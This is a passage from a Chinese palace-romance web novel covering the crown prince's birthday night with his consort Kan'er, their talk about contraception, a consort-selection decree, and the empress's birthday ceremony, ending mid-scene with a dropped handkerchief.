说起来,这也是她首次以良娣的身份公然露面,在场之人看似无事实则视线时不时便会落到槛儿身上。
不仅是惊讶于此女不到一年,便从一个小昭训摇身一变成了太子侧妃。
也是心中狐疑。
要知道太子的女眷本就少得可怜,原先满打满算才凑够五根手指头。
后来金承徽暴毙不提,跟着曹良媛称病不便露脸,再后来太子妃被禁了足。
如今放眼整个东宫后院就只剩了这位新晋的宋良娣,和原来的秦昭训。
也不知此女使了什么手段。
说实话,在场的皆是混迹后宅的,东西风相互碾压的事大家心里门儿清。
席间的王府侧妃且不提。
只说正妃和东宫属官的正头夫人们,可能就没几个心底里瞧得上槛儿的。
这不是仅针对槛儿这个人,而是除却少部分,多数妻妾的立场惯是如此。
不过,到底都是大家夫人。
且也是别人家的事。
就算有人真有什么想法,面上也都没表现出来,槛儿也就只当不知。
大大方方任众人打量。
为了避嫌,太子这场生辰宴酉时开始戌时结束,拢共只进行了一个时辰。
宴罢送完客才戌时过半。
太子在前头还有事,槛儿先回永煦院。
回去后照旧先沐浴,只槛儿今晚的浴沐得快和她初次侍寝那晚一般久了。
从浴桶出来擦干身子躺在一侧的榻上,槛儿顶着绯红的脸由瑛姑姑抹香膏。
等香膏吸收得差不多了,再涂一层花蜜油,跟着又一通仔仔细细地按摩。
一缕清鲜淡雅的兰香在空气中飘散开。
不多时,跳珠捧着一个托盘进来。
约莫亥时两刻。
骆峋在元淳宫收拾一通过来了。
一切似乎与平时无异,小福子等人像往常一样,恭敬不失静默地守在院中。
骆峋习惯性朝正房看了一眼,见几间屋子和以往一样都亮着灯。
猜她在洗漱,他便先去东厢看儿子。
曜哥儿呼呼大睡着,骆峋在他的小床边坐了半刻多钟方才起身去正房。
岂料一出东厢,他就察觉出了不对劲。
卧房的灯灭了。
骆峋神色淡然,心中却是狐疑。
虽说他事先并未言明今夜要过来,但近日他来这边的次数可谓频繁。
尤其今日他生辰。
这般特殊日子,她该是知晓他会过来才对。
怎生先安置了?
晚宴累到了?
如此想着,骆峋悄声迈步上台阶。
行至厅堂。
瑛姑姑、寒酥等人正巧出来。
“你们主子安寝了?”骆峋随口问。
跳珠几个丫头脑袋垂得低低的,瑛姑姑答道:“回殿下,主子在等您。”
骆峋当他的槛儿晚宴累极,于是先行上了榻,在榻上等他过来安置。
不怪太子爷思想如此正直。
实在是槛儿出月子才四天,而太子爷又记着有关产妇的各种注意事项。
因而他下意识便以为出月子不久的槛儿与那么多人应酬,当真累着了。
若不然以她一贯待他恭
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谨周到的性子,何至于没等到他来便熄了灯。
带着这样的念头,太子爷没再让人跟进来,单手负后放轻脚步行进卧房。
墙角处一盏小灯散发着极其微弱的浅浅光晕,骆峋径直走向拔步床。
刚走两步,他发现两处不对劲。
地平上不见她的鞋。
帐内无人。
这时。
一束光自暖阁碧纱橱的帘架门处照过来。
骆峋侧身回首。
心底刚升起一个猜测,猝不及防撞见来人的模样,他散漫的眸底陡然仿若翻涌起一层浓浓浪潮也似。
期间幽火簇簇,摄人心魄。
就见夜色之中。
晕黄柔和的光自那盏珍珠流苏玉如意柄的小八角宫灯溢出,从暖阁门前随槛儿的移动朝卧房弥漫开来。
槛儿执着灯,微微抬头朝太子看去。
光影明暗之间,其面颊丰盈宛若玉盘,眉如远山含黛,腮若海棠抱春。
而这一眼秋波盈盈,似大胆又似含着无限娇羞,一股子浑然天成的媚意不经意间便自其眉眼间散发开来。
骆峋负在身后的手收拢。
槛儿唇角扬着,低头拿铜鎏金的鹤颈引火签在提灯的灯芯处碰了碰。
签上的艾绒燃起。
须臾,几处落地灯相继被点亮。
便见那莲步款款之美人一身仿晚唐样式的天水碧抹胸齐腰襦裙,颈间一银累丝嵌绿松石珍珠流苏项圈。
玉颈纤纤,雪肤莹莹。
四指宽的玉白绣菡萏碧叶腰带系于胸下,勾勒着那一把子纤细小腰肢。
外面是一件月白软烟罗的宽袖外衫,凝脂般的薄背藕臂在烛光下若隐若现。
发髻也是仿晚唐时期的堕马髻,髻间就插戴着那支金累丝蝴蝶宝石步摇。
随着槛儿的走动,步摇轻晃,裙摆如水波般摇摆,真可谓摇曳生姿步步生莲。
“妾身恭贺殿下千秋,伏愿殿下福寿康宁,日月增辉,感天恩浩荡,今备以薄礼贺殿下诞辰,望殿下笑纳。”
槛儿放下提灯,从多宝阁上取下一锦盒来到太子跟前,福身偏首呈上。
那一声声婉转妩媚的音调,抑扬顿挫之间似莺啼鸟啭又如飞泉鸣玉。
道不尽的风流多情。
第184章 给太子的生辰礼,太子终于掌灯了!
骆峋眼帘微垂,看似与寻常无异地睨着眼前人,遂取下她手中的锦盒。
打开。
是一条金镶玉腰带。
绣了四海升平并二龙戏珠。
哪怕骆峋不懂刺绣,也知绣这么一条腰带没个三两个月打底是完不成的。
他拿着腰带端详,问:“自己绣的?”
槛儿捧着盒子笑着点头。
“妾身绣的,您觉得好看吗?”
“嗯。”
骆峋应了一声,指腹在腰带上摩挲。
“耗时多久?”
槛儿一下想到了早先她给孩子绣肚兜,太子不让她做太久绣活儿的事。
她不禁笑道:“不瞒您说年前九月就开始了,我怕伤了眼,有时候也会忘了,直到前几天才正式完工呢。”
骆峋放了心。
还当她月子期间耗神,若如此他会生气。
不过,骆峋记得上个月她生辰那晚,她同他说过不知道送他什么生辰礼。
合则在诓他。
骆峋勾了一下唇角,视线落到槛儿脸上,眸底带着丝别有深意的味道。
槛儿捕捉到了,抿着唇微微垂下眼。
骆峋从她手里将锦盒拿过来,把腰带放回盒中,再随手将盒子搁到妆台上。
做这些动作的同时,他眼睛始终看着槛儿。
等放了东西。
他上前半步抬手轻勾起槛儿的下巴,另一手碰了碰她发髻上的步摇。
指尖顺着步摇摸到发髻,再顺着那如云的发髻滑到槛儿滚烫的脸颊。
再是耳畔、侧颈、圆润的肩头,沿着那薄纱覆盖的雪臂一路至槛儿手背上。
从始至终掌心不曾触碰半分,唯有指尖若有似无地撩动,似一截羽毛挠得槛儿周身不自觉升起一股战栗。
“殿下……”
“嗯?”
骆峋看着她,指腹贴着她的手腕摩挲。
槛儿溺在他沉得似水的眸光中,又被他略带薄茧的指腹撩得心如火灼。
顷刻间,身子仿佛回到了早先不能控制的时候,双腿不期然地便是一软。
骆峋一掌握住那把柳腰。
槛儿顺势攀住他的脖颈。
“这也是生辰礼?”
骆峋嗅着她身上幽幽的香,视线自其唇上移至她的眼睛,低低地问。
槛儿与他对视。
嗓音里久违地带了几分颤音:“您之前不是说,不曾与妾身坦诚相见吗?”
骆峋记得。
在她有孕三个月时,他原计划待她满了四个月二人便坦诚相见来一场。
然四个月时正逢她显怀,担心自己收不住力伤到她,他便仍旧作罢。
直到六个多月时,两人原都做好了准备,奈何她肚里的小东西中途捣乱。
及至现在,“所以,也是生辰礼?”
槛儿眸光潋滟,旋即微微偏过头,“殿下若不喜,便当妾身多此一举。”
话音刚落,她搂着男人脖子的一只手被他握住,之后拿下来放到了他腰间。
“替孤宽衣。”
稍顷。
绣有龙纹的腰带掉落在毡垫上,再是外袍,金银线绣祥云的中衣。
男人精壮的上半身在烛光中泛着一层莹润的光,明明没有贴在一起。
那虬劲健硕的胸腹肌却仿似散发着滚滚热意,槛儿视线被灼了一下,身上也陡然蹿起了一把熊熊烈火。
偏像是受了蛊惑。
非但没有将视线移开,反而伸手探了上去。
骆峋身子绷了绷,肌肉偾张鼓动,到嘴边的闷哼被他克制地咽了下去。
喉结滚了滚,他长指一挑,轻薄纱衣自美人儿的肩头滑落,腰带、襦裙。
穿着木屐的雪足从层层堆叠的纱裙中迈出,玲珑纤白的脚踝,染着石榴红蔻丹的指甲犹如一颗颗上等红宝。
好似惊涛拍岸,狂风撼树。
猛兽出笼。
岸边的水草被冲刷着,树上的枝丫被席卷着,天际之下兽吼惊起地动山摇。
槛儿的手自帐中探出,触碰到未被寝单覆盖的榻沿,留下两道晶莹的汗痕。
屋外。
不同于早先人少的那会儿,大家都守在院子里,今晚在太子进屋时大伙儿就被瑛姑姑给打发下去了。
除了瑛姑姑和海顺,正房这边只留了寒酥跳珠和两个二等宫女守着。
久违的动静从屋里传来,寒酥和跳珠贼兮兮地对个眼神,一切尽在不言中。
那两个二等宫女则和刚开始的跳珠他们一样,脑袋像是恨不得扎进裤腰里,脸红得跟烧熟的炭似的。
也不知过去多久,暴雨终于停歇。
槛儿仿佛脱水的鱼儿喘着气,历来沉稳的太子伏在
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她身上不遑多让。
胸口紧密地贴着,能听到彼此震颤的心跳声,一下又一下,此起彼伏。
终于平复下来。
槛儿拉了拉搭在太子背上的锦被,侧首对上他泛红的耳尖,她没忍住笑了。
骆峋听到了,偏头看她,发出一声低低沉沉格外有磁性的鼻音:“嗯?”
槛儿听得心发酥,凑过去亲了他一下,然后颇有些委屈地嘟囔:“殿下刚刚……”
太子爷捂住了她的嘴。
槛儿眼波流转。
看神态颇有一种埋怨他准做不准说的意味,但又不至于到放肆的程度。
骆峋难得不自在地咳了声,而后翻身下来抱住她,很低地问:“可有伤着?”
她坐完月子没几天,他今晚原是无意此事的,然没料到她送了这样的生辰礼。
自是记得要收敛的。
适才他也确实尽量收住了。
只他低估了在掌灯的情况下她于他而言的吸引力,也高估了自己的自制力。
以至于有一回没把控好。
“没有。”
槛儿瓮声瓮气地回了一句,随后慢慢从被子里探出头来翻身面向太子。
她的脸蛋这会儿红扑扑的,以骆峋的眼力能看到一层极为细小的绒毛,当真如一颗汁水充沛的蜜桃。
骆峋摸摸她。
又倾身亲了亲,带着几分爱怜的意味,再躺下的时候他神色忽然一僵。
槛儿的胳膊从被子里伸出来,抓住他的手捏了捏,问道:“怎么了?”
骆峋欲言又止。
但顿了顿,他还是道:“会不会怀上?”
槛儿一怔,跟着脸烫了。
骆峋见她嘴唇动了动,似乎说了什么。
声音太小,他没听清。
“什么?”
槛儿假咳几声,挺含蓄地说:“有曜哥儿的口粮呢,还没来月事。”
骆峋明白过来。
舔了舔残余着甜味的唇,反应过来自己做了什么,太子爷心底微窘。
之后恢复了惯有的沉稳正。
“如此就不会怀上?”
槛儿其实也不能完全确定,她刚刚这么说是因为上辈子没在这期间怀上。
现在听太子这么一问,她也就拿不准了,“应该吧,我忘了听谁说的了。”
骆峋若有所思。
第185章 太子避子,“今后你与孤便用此物避子。”
翌日傍晚。
骆峋下值回来处理了会儿公务,之后吩咐海顺:“请陶恒绪过来。”
陶恒绪就是接替莫院判,在莫院判丁忧期间负责照看太子的另一个副院判。
“主子,您哪儿不适?”
海顺担忧地问。
骆峋:“没,先将人请过来。”
不多时陶院判过来了,海总管被打发了出来,海顺觉得此情此景颇为眼熟。
没怎么细想。
好家伙,这不就是去年那回吗?
太子还没临幸宋昭训的时候,袁宝瞎说他们家殿下出恭不顺畅的那回。
海顺至今没想透自家爷当时为啥不让他留屋里,这回貌似也想不明白。
书房里。
陶院判先替太子请了个平安脉。
刚说完一堆“殿下脉象平稳身子康健”的话,就忽然听太子开了口。
“妇人哺乳期间可会遇喜?”
陶院判险些手一抖把脉案给撕了,随即就想到那位诞下太子长子的宋良娣。
于是恭敬答道:“回殿下的话,妇人产后虽经水未行,但若是气血异常者亦可在哺乳期间遇喜。”
骆峋了然,颔了颔首让其退下。
等陶院判走了,他在书案后**了片刻,不多时指尖在案桌上轻扣两下。
须臾。
内侍装扮的朔蜂不知何时出现了在屋中。
.
选秀的圣旨下来了。
就在太子的生辰过了没两天的时候。
其实三月初就该下了,碍于当时朝中有别的事,便耽搁到了三月二十二。
本朝开国之初对秀女的出身要求严格控制在平民女和低级文武官之女的范畴,像是知县、千户、百户。
商户女和勋贵高官之女、医户女、伶人以及其他贱籍奴籍的则严禁禁止。
后来因着各种各样的原因倒是放宽了条件,凡二品官以下的非贱籍奴籍、家世清白的适龄女子皆可参选。
体貌要求以端庄秀丽身子康健,体态匀称为准,性情则以贞静柔嘉为主。
其中有一条,父母健在,家庭和睦,家中祖上无作奸犯科者优先过选。
不是什么前朝才能知道的事,所以圣旨下来没多久小福子便带回了消息。
虽说槛儿现今是东宫后院的独一份,就算东宫今年真添了人进来。
短时间内也不会有人能越过她去。
可俗话说“人无远虑必有近忧”,凡事都讲究一个防患于未然嘛。
再者按常理,谁会愿意有人来分自己的宠呢。
因此小福子报消息时神色显得很是纠结,颇有种回到了槛儿刚晋位时的感觉。
像是既为主子的前路忧心。
毕竟关系到他们自己的前路,但又怕槛儿听了会觉得不舒服什么的。
总归就是很小心,很复杂。
跳珠、寒酥和喜雨听了消息神情也不是很自在,可到底不好直接说出口。
所以跳珠先假模假样地斥了小福子一顿,说他拉着一张脸没得晦气。
之后把人打发了下去,转身就变着花样宽慰起了槛儿,寒酥、喜雨则在一旁附和。
这架势,不知道的还当要进东宫的秀女定下来了呢,听得槛儿啼笑皆非。
但她总不能说自己不介意东宫进新人,也不能说现在担心为时尚早这种话。
索性由着她们去了,最后瑛姑姑过来打发人下去做事才把这茬给揭过了。
选秀圣旨下来之后需要时间下达到各地,各地初选后秀女们才开始进京。
期间至少要二十天,路上又得要一个多月。
所以选秀的消息仅在宫里宫外传了两天便没动静了,日子该怎样还是怎样。
槛儿如今早上不用请安,每天晨起第一件事仍是在院里锻炼身体。
早膳后就带曜哥儿去后面的小花园里溜达,回来了曜哥儿由奶娘照看着睡觉,槛儿则看看书练练字之类。
偶尔和寒酥她们一同侍弄侍弄花草,晒些干花做香囊,亦或者调些基础用的香。
下午曜哥儿惯是活跃。
那双酷似太子的丹凤眼到处转着,小嘴儿里乌拉哇啦没个空闲时候。
往往抱着哺瓶喝着喝着奶,他就跟槛儿说上了,也不知究竟在说个什么。
大伙儿为逗小皇孙开心可谓出尽了百宝,院子里倒日日都是欢声笑语。
四月初一这晚。
槛儿收拾结束上了床,习惯性偎到太子身侧,捞起他的胳膊钻到他怀里。
骆峋揽着她一道看一本山河游记,海顺熟稔地领着一帮子人出去了。
没多会儿。
两人看完书,太子没做那事的意思槛儿自然不强求,叫寒酥进来熄了几处大灯。
然后谁知刚躺下。
太子从床头柜几的抽屉里拿了个紫漆雕山水的长条
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匣,递到她手中。
槛儿狐疑地接过。
在太子的示意下坐起来趴到床边打开,发现匣子内壁嵌了一圈的青玉。
底部铺着软缎,其上整整齐齐分两层码了十八个用绢袋包裹着的长条状物。
槛儿的手一僵。
似乎知道是什么东西了。
上辈子她生了曜哥儿成了奉仪之后侍寝的次数还算可观,但那时候她心态不好,所以那两年没再怀上。
之后曜哥儿出了事,她更是好几年怀不上。
后来生了两个小的,她经得太子同意让太医调配了一种效用温和、吃一粒管一月且不会伤根本的避子丸。
再后来她成了庆昭帝的皇后,庆昭帝某晚忽然提及不让她吃避子丸。
当时槛儿以为他是想让她再生一个,哪知下一刻他便递了个匣子给她。
和槛儿此时手中的匣子外形不同,但内里装的东西却是所差无几。
“认得?”
熟悉的声音拉回了槛儿的思绪,她一侧首,正对上太子询问的视线。
槛儿眨眨眼,一脸茫然:“什么?”
她装得好,若非骆峋知晓一些事指不定便被她蒙了去,奈何他知道。
之前没觉得有什么,横竖她与庆昭帝是她上辈子的事,今生是他与她。
可方才见她盯着匣中之物出神,骆峋心里便堵了一下,说不出的复杂。
槛儿的上辈子,那人定也与她日日缠绵。
且他们相伴到老,夜里同眠的次数比现今的他与她不知多了多少。
骆峋:“……”
骆峋微微抿唇,所幸他表情管理极为到位,倒是没让槛儿看出端倪。
“此物为避子如意袋。”他敛起心思拿起一支塞入槛儿手中,解释道。
同时示意槛儿拿出来瞧。
槛儿:“……”
槛儿忍着想笑的冲动,绯红着脸拉开绢袋上的细绳,取出里面的东西。
是一层纤薄透明的胶衣,套在一支玉石做的、近一尺的小圆管上,隐可嗅见一股太子身上的淡淡蓬莱香。
槛儿抓住重点,硬着头皮装傻充愣。
“避子?”
骆峋配合地颔颔首,“嗯。”
顿了一下,才道:“太医说,妇人哺乳期间亦可能遇喜,连着生伤身。
避子汤或避子丸是药三分毒,你不用为好,今后你与孤便用此物避子。”
第186章 曜哥儿贺寿出风头,“今晚便试试?”
其实这话从一国储君口中说出来很不妥。
要知道时下人讲究多子多福,百姓家动辄三四五六个孩子都是常事。
遑论皇家。
所谓多子多福,绵延国祚。
在皇家,尤其东宫,任何减少子嗣的行为都会被解读为动摇国本。
早先朝中那帮子人之所以没催太子生孩子,一则之前元隆帝对太子的猜忌昭然若揭,他们不敢上来触霉头。
二则太子为太后服了两年丧,至纯至孝,暂无心于后宅之事也正常。
三则后来太子妃嫁进东宫的时日不长,且也没到新一年选秀的时候。
他们找不到催生的由头。
若不然就那群鸡毛蒜皮都能拿出来大做文章的人,哪会由着东宫一直无子。
再是清心寡欲,孩子总归是要生的。
等着吧。
今年秀女进了京,催东宫添人的绝对少不了。
可现在太子却跟槛儿说要与她避子,简直就是另一层面的冒天下之大不韪。
槛儿说不触动是假的。
也没了想笑的念头,当然她是不想连着生的,只不过不能就这么表现出来。
她也得为太子考虑一二。
“这样会不会不好?万一传出去被人知道了……”槛儿低声踌躇道。
前世庆昭帝那时候儿女成群,又是皇帝,手里的掣肘没那么多,他就算用这东西被人知道了也没什么。
但眼下太子只是太子。
子嗣又不丰,若被外人知晓不仅他要遭骂,槛儿也会被冠上“妖女”之名。
“你会让除你那姑姑以外的人知晓吗?”骆峋问。
槛儿摇头。
她又不是傻。
“那便是了。”
骆峋别了别她耳畔的头发,道。
“来源不必忧心,只此物用过后需清洗,之后销毁孤会让人处理,你这边平时暂不可让他人知晓便行。”
“待日后……”
日后什么,他没说明白。
但槛儿懂了。
她抱住他,“好,都听殿下的。”
说完顿了顿。
槛儿凑到太子耳边,近乎气音道:“这是什么东西做的啊,怎么用啊?”
骆峋以拳抵唇。
“精细之物,一支价可比金。”
至于怎么用……
他也学槛儿凑近她耳畔,一阵低语。
槛儿便觉心口烧起了一把火,等他说完,她把脸埋到他的颈侧蹭了蹭。
“若不,今晚便试试,试试可好用?”
太子爷肃着脸。
有心义正言辞地拒绝。
但,目光触及到被她拿在手中的东西。
他稳重地颔颔首。
“该试。”
.
四月初七,皇后千秋节。
不同于去年参加万寿节宴时槛儿只是陪衬,穿的也只是低阶礼服。
这回槛儿作为东宫唯一的侧妃,自然而然能和其他亲王王妃侧妃、公主们一道向裴皇后朝贺献礼。
良娣冠服也是要安排上的,所以一大早,瑛姑姑她们就围着槛儿收拾开了。
等弄完。
槛儿一身金团三爪翟云纹鞠衣,镶青罗暗赤色大衫,深青色绣练鹊纹的霞帔,缀着金练鹊珍珠帔坠。
头戴三翟翠云金冠,冠顶插金簪衔珠结,另有绯罗蔽膝,青素玉带,绿松石玉佩宫绦,脚踩青缎尖头履。
槛儿容貌明艳妩媚,身段儿丰腴,穿常服和低阶礼服时挡不住那股子媚。
总让人觉得此女不端。
但这样的正式冠服往她身上一穿。
婀娜的身姿隐在大衫霞帔之下,眉眼间的秾丽似乎一瞬间被压了下来。
非但没显得不伦不类。
反而极其雍容,加之她神态沉静从容,一眼望去格外有种不怒自威之感。
瑛姑姑和寒酥她们都看呆了。
心不自觉就提到了嗓子眼儿,还是曜哥儿哇呜一声把众人拉回了神。
快三个月的曜哥儿今天也不能偷懒的,到底顶着一个“长”的头衔。
在太子没有嫡子的情况下,他就得代东宫履嫡子之责,去朝拜裴皇后。
“小主子也觉得良娣主子这般装扮很好看对不对?”喜雨逗小皇孙道。
曜哥儿踢踢小脚。
娘最好看!
趁着没涂口脂,槛儿亲了儿子胖脸蛋一口。
没多会儿,曜哥儿由奶娘抱着,槛儿领着一行人来到仁安殿前的朝华门前。
时候掐得刚好,太子从朝华门出来。
**当着宫人的面,太子没做什么拉拉小手摸摸小脸的动作。
只神色无常地瞥了眼槛儿身上的行头,然后微不可察地颔颔首,“嗯。”
嗯什么,低着头的宫人们不懂。
槛儿看明白了,扬起了笑。
所谓外臣不面后,本朝即便是封后大典,皇后也不会与皇帝一起接受朝臣拜贺。
因此今天朝臣那边的朝贺是在奉天殿前朝着坤和宫的方向拜,寿礼自有礼部的人收上来转交给内廷。
太子今日也是如此。
他和皇子们的贺寿要等到晚上家宴。
因而出了东宫。
槛儿和太子照例分开了。
到坤和宫时裴皇后也正好收拾停当,深青色翟衣,头戴九龙九凤冠。
一派肃穆威严,贵不可言。
等集体朝贺完了。
槛儿率一众亲王侧妃候在殿外等着献礼,王妃的献礼结束,女官高唱:
“太子良娣宋氏进——”
槛儿身后的一众皇子侧妃面朝正殿神色恭敬,心里却是无不唏嘘复杂。
暗道真是世事无常。
去年还只能站在裴皇后身后当柱子,连和她们聊天的资格都没有的小侍妾,如今却是成了她们
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的领头。
槛儿进献的寿礼有两份。
一份代郑明芷转交的。
郑明芷虽被禁了足,名义上却还是东宫的女主人,太子妃之责没被解除。
除非她有意自请废太子妃,若不然身为储妃和儿媳该尽的孝就得尽上。
礼三天前霜月先送去典玺局核检过才送到槛儿手上的,槛儿早上过来时又交给坤和宫的人检查了一回。
这会儿进献就是走个过场。
是一幅两尺半见长,一尺半见宽的缂丝花鸟挂屏,绣着春夏秋冬四季景。
据说是郑明芷亲自绣的。
槛儿毕恭毕敬地献上。
代为贺寿的话也说得中规中矩,没有任何暗戳戳给郑明芷上眼药的意味。
倒叫在场之人颇为意外。
要知道现今东宫后宅就是这位宋良娣一家独大,她若是个性急或是蠢笨的,又岂会放过这么一个机会。
可见果真是个心机深沉的。
槛儿只当没察觉到投在自己身上的那些视线,跟着献上自己的礼。
一座雕白鹿踏云的青玉山子笔架。
白鹿踏云是槛儿一个月前自己画的,请示了太子让造办处照着刻出来的。
青玉山子则是太子出的,精巧雅致又不至于抢了太子妃那份寿礼的风头。
裴皇后对两份寿礼的态度没差多少。
一个儿媳,一个诞下长孙的侧妃。
倒也算是两相端平了。
大人们献完礼就轮到孩子们了。
能被带来后宫的男嗣年龄皆在七岁以下,仍是按尊卑长幼的顺序来。
因此别看曜哥儿最小,却是第一个献礼的,奶没喝完就被抱进了殿。
之前满月,因着当时天冷穿得多且娃儿也小,满月宴上众人就没看清太子家的长子究竟生的什么模样。
所以这会儿曜哥儿一进殿,所有人的目光就不约而同投向了小家伙。
洗三宴之后便有太子长子沉静有仪,通解人意的传言,满月宴后更甚。
可到底有的人并非亲眼所见,不免觉得夸张,于是此刻大伙儿的关注点便在曜哥儿会不会哭闹这事上。
槛儿倒想得开。
这么小点儿的人,本就是哭闹的时候呢,跟他讲规矩根本是天方夜谭。
掉链子也没事,大不了事后补救。
但曜哥儿没掉链子。
相反表现得极好。
奶娘托着他的小屁股面朝凤位上的裴皇后,没等随行的跳珠呈上寿礼。
小家伙就抱起两只小胖手摆出作揖的姿势晃着,嘴里一贯地乌拉哇啦。
看模样竟像是在贺寿!
给裴皇后稀奇的。
差几天才满三个月的娃儿懂啥啊,做大人的就是想教也教不明白啊。
别说还是这种场合,他不哭闹就万事大吉了,偏这小家伙竟是作起了揖?!
第187章 太子与其他女子私相授受?!
裴皇后难掩惊讶。
席上包括之前看过曜哥儿洗三的宗亲妇在内的一众人,更是只差目瞪口呆。
槛儿也险被口水呛住。
虽说儿子平时确实很乖,鲜少有哭闹的时候,且也的确通人意,甚至能在想拉想尿的时候哼唧着提醒奶娘。
可到底只是个小奶娃不是?
哪就这么神了?
结果,嘿!
这小东西还真挺神!
因着荣王禁足,自己也跟着深居简出,今儿这种日子必须到场的荣王妃笑道:
“大公子真是聪明睿智又孝顺,小小年纪便知向皇祖母贺寿了。”
康国公夫人。
也就是裴皇后的娘家大嫂笑得合不拢嘴:“可不是,我可还从没见过哪个这么小的孩童如此聪慧的。”
和荣王妃一样,陪信王禁足了近一年今天也进了宫的信王妃含笑看向槛儿。
“宋良娣年纪轻,倒是会教孩子。”
其他人便也望向槛儿。
脸上无不是一副“不到三个月的娃儿就能教成这样,你是怎么教的”的纳罕。
也怪不得大伙儿会以为是槛儿教的。
实在是这个月份的奶娃要没有大人教,便是再聪明也不可能知道做这些。
当然,除了纳罕。
大家心里其实还有另一层意思。
那便是这般大的婴孩,就算真能教出来,肯定也是不止教几遍就能教成的。
想来当娘的是下了不少功夫。
大家不免就觉得这位宋良娣为了讨皇后娘娘欢心,还真是无所不用其极。
不到三个月的亲儿子也能下得了狠手,小皇孙能有此时的听话模样,想是私底下不知经受了多少打骂呢。
真是作孽。
从某些人眼里读懂这层意思的槛儿:“……”
好家伙。
合则她成**亲儿子的恶娘了。
可惜不能直接否认。
若不然就成了她对裴皇后的寿辰不上心。
槛儿面上笑得尴尬:“王妃谬赞了,说来惭愧,妾身出身微寒所知甚少。
许是顾及妾身教不好幼儿,所以日里殿下没少指导妾身,曜哥儿如此聪慧想来定也是随了殿下。”
槛儿果然是懂说话的,看似在自贬,实则把这事儿给推到太子头上了。
言下之意就是即便孩子真是教出来的那也不是她教的,是太子教的。
谁觉得她苛待孩子,谁就去找太子。
意思是这么个意思,但说法不一样。
听着既表达出了太子对孩子的重视,又拐了个弯儿说了太子一通好话。
说太子好话,不就等于在说裴皇后的好话?
这马屁拍的。
大伙儿看槛儿的眼神一下子便意味深长起来。
曜哥儿也感觉到现场的微妙气氛了,小动作僵了僵,觉得对不起娘。
也是他当魂魄时和父王云游四海,听了不少古史传说,奇闻轶事。
知晓传说老子生而能言,释迦牟尼佛生就步步生莲,民间也不少在世神童。
所以曜哥儿就想向皇祖母贺寿,也借机想让皇祖母更喜欢他和娘。
难不成弄巧成拙了?可东宫就他一个孩子,他又不用顾忌会抢了谁的风头。
“瞧你们说的,好像这么大点儿的孩子真能大人教什么就听什么似的。
这般月份的孩子惯是行事没个章程,误打误撞罢了,不值得上纲上线。”
裴皇后看了看孙子茫然的小表情,斜了信王妃一眼,状似随口笑道。
信王妃面色微窘。
裴皇后没再看她,笑着逗孙子:“好乖乖,要给皇祖母的礼是什么啊?”
曜哥儿的礼是一个青莲足印。
就是在他的右脚丫上涂上无毒的朱砂油膏,用特制的蜡模印一个小脚印。
然后经造办处工匠精心处理把足印刻到暖玉上,再在周围錾刻上缠枝莲。
取“足踏青莲,福寿千秋”之意。
裴皇后打心底喜欢孙子的礼,当场给曜哥儿戴上一个玉麒麟的长命锁。
之后的孙辈献礼没再有什么意外。
献礼结束后,众女眷暂至别处歇息。
曜哥儿太小,裴皇后便让人给槛儿单独辟了一间宫室出来供她母子歇脚。
槛儿借机问奶娘。
“你们可有教大公子给娘娘贺寿?”
两位奶娘又怕又懵,连道没有。
槛儿便去看儿子。
曜哥儿黑黑的眼珠转了转。
然后眼一闭,睡了。
槛儿:“……”
总觉得自己生了个小精怪。
话说曜哥儿上辈子这般大的时候也这样?
午宴过后,大家到万春亭、千秋亭看杂耍观戏,之后则是自由赏景。
槛儿之前还是昭训时就和宣王妃挺聊得来,如今她位份提上来了,两人自然而然就聚到了一起。
另有宣王府的顾侧妃。
三人从万春亭出来一路悠闲地赏景聊天,途经一处小凉亭打算歇歇脚。
这时。
“七婶!”
却是韶宁郡主朝这边来了,跟着一起的还有高首辅家的孙女高若漪。
宣王府与信王府不甚亲近,但面上功夫得做,宣王妃招呼她们也来坐。
韶宁郡主小跑过来。
“七婶,瑜姐儿和映哥儿争玩具闹起来了,不小心被映哥儿推下了台阶!”
映哥儿是荣王家的幺子,孩子们用过午膳后便没跟大人们在一处了。
毕竟小孩子玩的和大人玩不到一块儿,就给他们另安排了地方,由乳母和专门的宫女太监集中照看着。
曜哥儿没满一岁,被安置在琼苑的暖阁。
宣王妃“腾”地站起来。
“伤到哪了?”
“额头破了点皮,瞧着倒是不严重,就是瑜姐儿哭着找您,乳母哄不住。”
宣王妃待不住了,同槛儿打了声招呼匆匆离开,韶宁郡主跟了过去。
一起走的还有顾侧妃。
槛儿原也想去看看的,
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但宣王妃走得太快,她追过去反倒显得不好。
于是一时间。
亭子里就只剩了她和高小姐。
“不知宋良娣可介意。”
高若漪仪态端庄优雅地向槛儿行了一礼,随后看了看亭中艾叶青大理石桌边,铺了软垫的石凳,温声问道。
槛儿莞尔一笑。
“高小姐请。”
高若漪道了谢,侧身落座。
两个小宫女进来奉茶。
她温柔地伸手道:“给我吧。”
一个小宫女就从另一个人端着的托盘里端起茶盏呈到高若漪面前。
可也不知是高若漪没接稳,还是小宫女办差**手毛脚,茶盏忽然一歪。
尽管小宫女飞快端住了茶盏,但还是有几滴茶水溅到了高若漪的短衫上。
小宫女忙不迭道歉认错。
高若漪浑不在意地笑着说不碍事,也没让她们重新上茶,就将那盏茶接下来了。
等小宫女们走了,高若漪似有些难为情地对槛儿道:“让宋良娣见笑了。”
槛儿道没什么。
跟着看了看对方桃粉衣襟上的水印,道:“若不去净室收拾一下?”
高若漪低头看了一眼。
笑道:“清茶该是留不了什么印,许是稍后就干了,劳宋良娣费心了。”
“高小姐客气了。”
高若漪随用手帕擦起衣裳来。
槛儿低头品茶没多看。
但就在她刚啜了两口茶时,余光中忽而闪过一抹靛青色落到了她脚边。
槛儿低头一看。
是一方帕子。
槛儿看眼对面的高小姐,却见对方也正端起茶喝,像是没察觉到什么。
于是槛儿搁下茶盏,弯腰捡起那方帕子问道:“高小姐,这是你的东西吗?”
高若漪愣了愣。
而后看到槛儿手里的东西。
她神情一慌,像窘迫又像害羞地朝槛儿伸手道:“是臣女的,有劳宋良娣了。”
槛儿觉得此人有点怪。
掉了一方帕子,何至于反应如此大?
再者这帕子难道不是她刚刚擦衣裳的帕子?拿在手上的东西是怎么掉到她脚边,而本人还不知情的?
槛儿狐疑地将帕子递过去,也是在这时候她冷不丁瞥见帕子的一角绣着獬豸。
獬豸也。
额生一角,貌若山牛,司清平公正,表司法。
大家闺秀如高小姐,会在自己惯常用的手帕上绣这种面貌不甚好看的荒兽?
高若漪把手帕接了过去。
害羞般攥着帕子解释着道谢:“这帕子臣女惯是舍不得用,许是方才不慎从袖中掉落,多谢宋良娣。”
槛儿又道她客气,没问帕子上的绣图。
高若漪看看她。
遂环视一圈四周,确定亭外的宫人离得远,她方娇羞但不失大方地轻声道:
